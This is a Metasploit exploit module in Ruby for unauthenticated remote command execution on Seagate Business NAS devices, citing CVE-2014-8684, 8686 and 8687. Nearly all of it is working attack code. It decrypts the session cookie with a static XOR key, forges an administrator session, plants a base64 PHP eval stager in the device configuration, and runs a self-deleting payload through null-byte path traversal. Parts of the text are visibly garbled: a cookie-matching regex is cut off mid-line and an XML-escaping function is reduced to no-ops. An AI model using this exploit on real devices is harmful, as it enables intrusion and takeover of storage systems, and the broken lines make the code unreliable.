require 'msf/core'
require 'rexml/document'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',
'Description'=> %q{
Some Seagate Business NAS devices are vulnerable to command execution via a local
file include vulnerability hidden in the language parameter of the CodeIgniter
session cookie. The vulnerability manifests in the way the language files are
included in the code on the login page, and hence is open to attack from users
without the need for authentication. The cookie can be easily decrypted using a
known static encryption key and re-encrypted once the PHP object string has been
modified.
This module has been tested on the STBN300 device.
},
'Author' => [
'OJ Reeves <oj[at]beyondbinary.io>'
],
'References' => [
['CVE', '2014-8684'],
['CVE', '2014-8686'],
['CVE', '2014-8687'],
['EDB', '36202'],
['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
],
'DisclosureDate' => 'Mar 01 2015',
'Privileged' => true,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload'=> {'DisableNops' => true},
'Targets'=> [['Automatic', {}]],
'DefaultTarget'=> 0,
'License'=> MSF_LICENSE
))
register_options([
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
])
end
def set_string(php_object, name, value)
prefix = "s:#{name.length}:\"#{name}\";s:"
if php_object.include?(prefix)
return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
end
count = php_object.split(':')[1].to_i + 1
php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
end
def check
begin
res = send_request_cgi(
'uri'=> normalize_uri(target_uri),
'method' => 'GET',
'headers'=> {
'Accept' => 'text/html'
}
)
if res && res.code == 200
headers = res.to_s
if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
if res.body.include?('Login to BlackArmor')
return Exploit::CheckCode::Appears
end
end
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
end
Exploit::CheckCode::Safe
end
def exploit
begin
print_status("Establishing session with target ...")
res = send_request_cgi({
'uri'=> normalize_uri(target_uri),
'method' => 'GET',
'headers'=> {
'Accept' => 'text/html'
}
})
if res && res.code == 200 && res.to_s =~ /
cookie_value = $1.strip
else
fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
end
print_status("Upgrading session to administrator ...")
php_object = decode_cookie(cookie_value)
vprint_status("PHP Object: #{php_object}")
admin_php_object = set_string(php_object, 'is_admin', 'yes')
admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
vprint_status("Admin PHP object: #{admin_php_object}")
admin_cookie_value = encode_cookie(admin_php_object)
host_config = nil
config_time = ::Time.now.to_i
begin
print_status("Extracting existing host configuration ...")
res = send_request_cgi(
'uri'=> normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
'method' => 'GET',
'headers'=> {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get' => {
'_'=> config_time
}
)
if res && res.code == 200
res.body.split("\r\n").each do |l|
if l.include?('general_setup')
host_config = l
break
end
end
else
fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
end
print_good("Host configuration extracted.")
vprint_status("Host configuration: #{host_config}")
param_id = rand_text_alphanumeric(3)
payload_file = "_#{rand_text_alphanumeric(3)}.php"
installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
stager = Rex::Text.encode_base64(installer)
stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")
vprint_status("Stager: #{stager}")
desc_start = host_config.index('" description="') + 15
desc_end = host_config.index('"', desc_start)
xml_payload = host_config[0, desc_start] +
stager + host_config[desc_end, host_config.length]
vprint_status(xml_payload)
print_status("Uploading stager ...")
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
'method'=> 'POST',
'headers' => {
'Accept'=> 'text/html'
},
'cookie'=> "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get'=> {
'_' => config_time
},
'vars_post' => {
'general_setup' => xml_payload
}
)
unless res && res.code == 200
fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
end
print_good("Stager uploaded.")
print_status("Executing stager ...")
payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
payload_cookie_value = encode_cookie(payload_php_object)
self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"
errored = false
begin
res = send_request_cgi(
'uri'=> normalize_uri(target_uri),
'method' => 'POST',
'headers'=> {
'Accept' => 'text/html'
},
'cookie'=> "#{datastore['COOKIEID']}=#{payload_cookie_value}",
'vars_post' => {
param_id=> Rex::Text.encode_base64(self_deleting_payload)
}
)
if res && res.code == 200
print_good("Stager execution succeeded, payload ready for execution.")
else
print_error("Stager execution failed (invalid result).")
errored = true
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
print_error("Stager execution failed (unable to establish connection).")
errored = true
end
print_status("Restoring host config ...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
'method'=> 'POST',
'headers' => {
'Accept'=> 'text/html'
},
'cookie'=> "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get'=> {
'_' => config_time
},
'vars_post' => {
'general_setup' => host_config
}
)
unless errored
print_status("Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
res = send_request_cgi(
'uri'=> normalize_uri(target_uri, payload_file),
'method' => 'GET',
'headers'=> {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
)
end
end
def decode_cookie(cookie_content)
cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
pass = xor(cookie_value, datastore['XORKEY'])
result = ''
(0...pass.length).step(2).each do |i|
result << (pass[i].ord ^ pass[i + 1].ord).chr
end
result
end
def encode_cookie(cookie_value)
rand = Rex::Text.sha1(rand_text_alphanumeric(40))
block= ''
(0...cookie_value.length).each do |i|
block << rand[i % rand.length]
block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
end
cookie_value = xor(block, datastore['XORKEY'])
cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
vprint_status("Cookie value: #{cookie_value}")
cookie_value
end
def xor(string, key)
result = ''
string.bytes.zip(key.bytes.cycle).each do |s, k|
result << (s ^ k)
end
result
end
def xml_encode(str)
str.gsub(/</, '<').gsub(/>/, '>')
end
end